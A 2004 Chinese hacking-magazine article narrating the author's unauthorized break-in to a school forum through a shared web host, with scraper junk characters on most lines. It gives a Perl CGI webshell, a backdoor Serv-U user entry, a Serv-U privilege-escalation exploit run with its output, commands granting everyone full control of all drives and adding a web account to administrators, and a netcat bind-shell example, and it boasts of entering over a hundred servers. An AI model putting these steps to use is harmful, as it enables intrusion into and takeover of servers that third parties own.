剑走偏锋——灵巧的旁注攻击
; i0 z) T% _- ~本文作者:angel
# {7 w4 ~2 Z- k- D& }5 |& f文章性质:原创: V0 R, w) l, Q: R( C& M6 ?/ f
发布日期:2004-11-09
0 Q( X& T- a( u1 s8 v注意:6 J% H0 o7 E4 T' J. K$ J( s
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
6 G! ?3 j% K# }! G; R! Z* f本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
. c# R, `* X! p5 G0 X7 X! h* U
7 w1 C7 Z2 J C8 N 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 + k$ J% a( K: @4 ^1 t
: T/ ?( ^# T, v* Z# {- K: v
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ o! T, s* U/ _$ D- H1 G
. A0 o3 [2 s( \' V J% D" L 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
' g% @: e9 T6 g% L0 [
u. Y$ f3 {0 y+ I: T: P 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
) K; e7 I0 A' q. K5 D
6 ]* @0 J/ @9 ? 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 0 p; [9 N. b1 F
/ [5 N# f$ t; d! d 没有目的的跳转目录着…… ; S) z! I$ J( m+ ]/ F
3 x' g- G3 ^ E& y 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
6 J9 q# `9 A8 |7 K, @- {" A) Z0 k9 _* h; F+ z' }/ _6 F% f3 g1 Q- `
结束了吗?不,我试着 FTP 一下: - ^: b9 q, [1 q0 [# u( M
+ C& V- H7 e) }) s( C7 XMicrosoft Windows 2000 [Version 5.00.2195]
T7 P5 J+ L' [2 m5 ]& s(C) 版权所有 1985-2000 Microsoft Corp. $ k5 _% O6 U9 d7 {9 N/ B
8 M: j) y& u" r/ \3 C7 @3 c
C:\Documents and Settings\Administrator>ftp www.school.com; s/ i8 d% h6 p$ d- |' G5 B, B
Connected to www. school.com.
2 [0 r9 F7 y# N; a- E+ M220 Welcome to FTP Server...
- G8 E) i/ |; @6 V4 sUser (www.bjtrq.com:(none)):
& B* @- k7 H8 s1 _# }- O331 User name okay, need password.
7 T0 |3 O. z' K3 q) XPassword: # b8 Q k# d$ c
530 Not logged in. # a( R: y$ `! y# Q! Q
Login failed.
$ J+ m8 G# Y$ ? zftp> bye
7 _' z' c x6 k221 Goodbye!
! e2 ~5 p0 C% c. m) O- A
+ i: Y' O, @2 S! y1 K" d4 P% ~8 q
; W8 n8 ?& m$ ?3 R. B; n 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 1 ?5 O* Q8 C) D/ \, \
: z% V& T/ x3 l9 C1 O0 \" W 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 - u, R" t p4 p3 q
* h5 D8 h l# _# l8 EApplication Data
1 e0 q& j$ W# l- |/ R3 X0 P1 `. xDocuments1 a# m' D$ O0 E
DRM9 _/ U( K' G. Q' f1 X4 J* f
Favorites6 t2 `+ P, B( b4 k% h; Q
Templates
+ K' D& E3 l2 t% l5 C8 Z* Z0 e! _「开始」菜单+ D) P3 J% n/ ?2 f7 S% P* F
桌面
4 D. f- m; B0 [* q7 A$ }# ^
5 E$ p: t7 X) f8 @8 F( ?8 Z3 W
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
: ~4 h" M* ^: f- f/ b. m- Y
' }, m2 V2 z+ b4 e) PActiveState ActivePerl 5.8
; t( l2 r0 p& s; JAdministrative Tools; s* j6 _+ N* {- V/ |2 |$ [
Deerfield.com/ j* P# V) {; V- u3 S7 D( W
DTemp
. \! N1 I2 N& i' o ~IPSentry
3 j& V5 I3 V7 l' TMBM 5+ z" B: I* l: G! f& P
NetMeter* J* b }7 k. Y6 H% x( _
Network ICE0 v, G3 {5 Q( r% q5 C) |: w1 h
Persits Software AspEmail+ w8 w3 y6 ]& ^8 f6 e
Persits Software AspJpeg
* y& n3 ^. e2 w# [Serv-U FTP Server& t) g& h/ \& C+ t y! N
Symantec Client Security
. |# Q1 [& c; ~& uWindows 优化大师: q. v# f2 T$ ]; X5 n. {+ [9 J
WinRAR, o1 X4 ]* K% ~/ R% K
启动2 ~' { V+ d2 R' F$ x! a
管理工具
- ?# C- S& @6 O附件# v+ [5 R% G* a2 p! v2 R9 h
) { N' H6 ?- G. p3 E0 d+ [/ f) n9 X
; M* R# x; s! R' s3 P4 | 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 : e5 g( Y6 d( S5 [: h4 T% I
8 Q+ |' y# j7 a# E
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
8 z3 Z$ R+ ~2 {9 f
# m2 P: Q, I( ?User281=angel|1|0 / p! K j3 A4 m% f% m
: a/ [/ A6 z! ^& l1 L; a3 M# A
! l8 @* Q* D+ p% r
然后加上
, h: ^+ q- R! L W5 N6 c, n2 n5 F* c/ p6 q# }" @* _/ s
[USER=angel|1]5 M3 z, {! D. X, }! k/ p
Password=ng98F85379EA68DBF97BAADCA99B69B805' Z2 {, w6 ]% W+ Y& k
HomeDir=D:\websites8 t1 k$ o$ Y. Y& b+ ^8 R7 a5 n
RelPaths=1! ~. u+ P3 J4 U' C( D
TimeOut=600
! L$ D5 d8 }0 O8 M9 ?# nMaintenance=System: z% s, J& D/ O
Access1=D:\websites|RWAMELCDP' F& @% P' N$ [2 T b* n8 f) V, I
SKEYValues=& b+ A: V/ v1 H
. e; `( [9 A( ]. |3 P
* I( W+ x- d$ Q: N2 s
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ; f2 _* ~" q7 Y8 ?
/ b9 }' w! }' T- L1 m
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 6 U( `$ W$ c. i+ C
2 G8 W2 B) i" b* z0 a' g
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
1 Q# Y$ u+ j8 }! A! m5 x0 f4 g2 b' e3 Q- K$ w2 S
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
9 z7 v4 `; z7 _# E+ G4 n3 W! C
3 S" c* u# r$ E% |1 G#!/usr/bin/perl
( z% u( F/ ~5 d. Y) jbinmode(STDOUT);; l% Z% X0 h% i S' x
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);2 ?# ~6 t3 Y r6 A+ b
$_ = $ENV{QUERY_STRING};2 S& s& ?# g/ z
s/%20/ /ig;
7 b/ ^; {' _$ F& `: S7 _% D4 Ls/%2f/\//ig;3 X! ~- o" H8 s
$execthis = $_;0 p4 i1 g5 P# i. J% J4 F4 L5 ?
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
. b# V4 l* T) |0 |( U- q& l4 Kopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";0 T1 ]: ]# R( p1 [; W& b
system($execthis);
- |3 Z" p* H% t2 ssyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);1 R1 {2 F j4 G( U9 w, s) b' a
close(STDERR);
2 \0 L. J4 `8 X7 `7 Z5 }$ m5 h; Wclose(STDOUT);5 _$ w+ z u2 I+ m3 P7 p' y- {
exit;
% e9 x+ h' A7 `+ Q7 C- H# p, l
* l. S8 r+ G) }6 q( y$ T& p( E" _% Y* s# Q5 D9 ~8 ^
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
5 G7 ], ~! @. Y5 J5 e; _
2 i; ?4 b k' y5 j: a" G! ~+ g 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: , @0 d# W9 I/ Z7 [2 _, L# ]
9 ~ d. D% w& Q7 v; a
http://anyhost//cmd.pl?d:\user\bin\su.exe
' C; s% l! U' G
4 |7 A( O. \8 w7 P! i; V& M" s4 E" G
返回: 2 `! U8 r9 S8 F/ j2 k0 U
& Y9 X- f, Y- h+ {& s3 t& a- B
Serv-u >3.x Local Exploit by xiaolu " S1 c+ k# W4 x. [" i/ R ^! f
& U( { c4 w- M( bUSAGE: serv-u.exe "command" 6 k% D$ y6 s R( k1 Z5 n9 W+ O. ^
4 ^7 J9 F' f& g# [) MExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
6 Y: ^9 r: x5 P ) _2 M9 ~$ x1 w) X1 y3 s
$ ]/ Q" C8 R) F; m0 Z8 J2 W) v
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ( s, f) c. `( W& b2 Z0 F
( P' ^ H" o! L/ O% l6 m) zhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" " Q" A2 t, }: Q: ^* j9 M2 R
9 H- f6 V2 T6 l6 |
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
/ J9 J, h6 U8 j4 G' x, x/ ~! L$ S# I" P7 n/ \
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" * \- m$ ?1 i/ P
9 G. F6 ^9 L0 c) @" Ohttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
2 `- [0 r0 e8 ? , R' a, o: A; Q8 t9 F5 j5 g. N
2 W1 z5 \) ~8 O 返回下面的信息,就表示成功了!!! % f) \% y2 v9 c; h' H' H9 S
/ l4 i1 C% S: A( T( IServ-u >3.x Local Exploit by xiaolu
3 G) M9 Y1 `: J% G& k( R G* f: t% |/ A
<220 Serv-U FTP Server v5.2 for WinSock ready...
1 O0 \" O' d* Y; @6 H+ S
* e' Q; X+ G7 W2 a7 v>USER LocalAdministrator - w9 m; a) I1 S
- v7 w$ y+ d# G2 M
<331 User name okay, need password.
8 R- V _; E) Z& q \
% o a2 `) ~! l9 S+ m8 S. ?* @****************************************************** - y, c# ~! r8 c/ f5 n
8 c3 F. ?8 [) G' u; h, x
>PASS #l@$ak#.lk;0@P
) g3 ~1 `4 t I3 P/ @5 J& ?+ E g1 d2 K
9 e3 K' R7 |8 ~! ~, S6 s& J<230 User logged in, proceed. # ]' ?% Q% R/ c, V* d0 Q# \9 g! q
0 \! s7 q$ i, R' u$ Q* h k1 n4 w****************************************************** ( r" {+ R6 R5 f; c( R4 F
& u5 P( t! A! c7 w* o>SITE MAINTENANCE
6 i$ k% X$ c \: ~: Y
3 i* l- r+ L0 n1 v! c****************************************************** , M* r: M) q a; X7 @$ z
& l% e% v: R' L7 }/ O* V% o[+] Creating New Domain... 0 Y9 w9 I% F' o+ H
2 k9 Y9 J; A' ~; T+ J, i$ M<200-DomainID=2 7 W0 D; C; N; ]7 V5 g( A
: b4 Q% u* e" {- Q<220 Domain settings saved ' c0 O3 N. f t7 W/ K
2 L7 x2 A3 f2 X; }: @% W' T
****************************************************** 5 R0 [; w. ?* Y+ q
a2 Y+ z! k: V- F
[+] Domain xl:2 Created
; O) [0 B! b0 f
. _% S9 R/ A, j2 i[+] Creating Evil User 4 @6 R2 I0 B8 z. R" H: x' r- S
x c/ Q3 P. t' K
<200-User=xl 0 l2 D+ D; S7 N' |6 F; x: P" @$ v
: {; I0 ^3 \ c* D# M) R: p. o200 User settings saved ; i' H% [) }, }. q' f) n. }
5 M! C7 Q+ c: ~6 J" J******************************************************
: H$ w; u. T$ n* Q1 M0 |) R
j9 W; ^. Z/ a- n$ `[+] Now Exploiting... 1 [! e5 f) u k1 h4 A* j% J
% L# [9 X, c2 O& ]3 P0 F>USER xl 6 j8 W* \ Q$ L, V6 Y' o- c3 Z+ l ^$ K
% E$ ^1 _4 ~! U. L! Z( Y; @) |) u
<331 User name okay, need password.
Z' V. i* V5 Y$ c5 V8 s( n9 P% K* r. U! M% ^& g' o$ B3 L
****************************************************** 3 |" e/ ]7 w+ O7 I: ]; h
& p/ }3 N/ ^8 D# e! @/ Q
>PASS 111111
" ~2 @" b v2 D
/ v0 W+ [5 `, E<230 User logged in, proceed.
3 C+ X: F# o2 u' [2 x1 }
6 B$ ~3 L9 p% [: J, d, z0 G******************************************************
% r/ L0 U# }: D/ v; _) s
+ I1 [# G0 N4 M2 j[+] Now Executing: cacls.exe c: /E /T /G everyone:F $ Q: v* w/ i" u( X$ C3 ?4 u2 S% i+ X
& V* e& N# ^+ P6 L. b1 b4 Z; n8 O<220 Domain deleted
& S1 k3 A" d/ e8 l6 |8 r3 n! F1 W( X6 @9 }& [8 s$ a
****************************************************** ) F9 X X; M. O- m6 h
@7 w: N6 c' ~' f. b$ Y i- Q! c) O/ y; J3 k0 e
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: , r t( a2 }: M4 M, A9 A
1 r$ ~* W) @+ vhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ) q; i. k2 n' {! y D
6 X: `8 D! n, H2 ~: I% X; S
9 Z% g0 c5 Z/ t, E
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 : Q. F/ i3 `& P# n3 ~
; h% r7 U" S3 U5 W 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
7 ]: v5 A% v3 d 5 X2 g$ P4 T2 U) N$ h; |
, S4 K6 D) P9 b* N. p |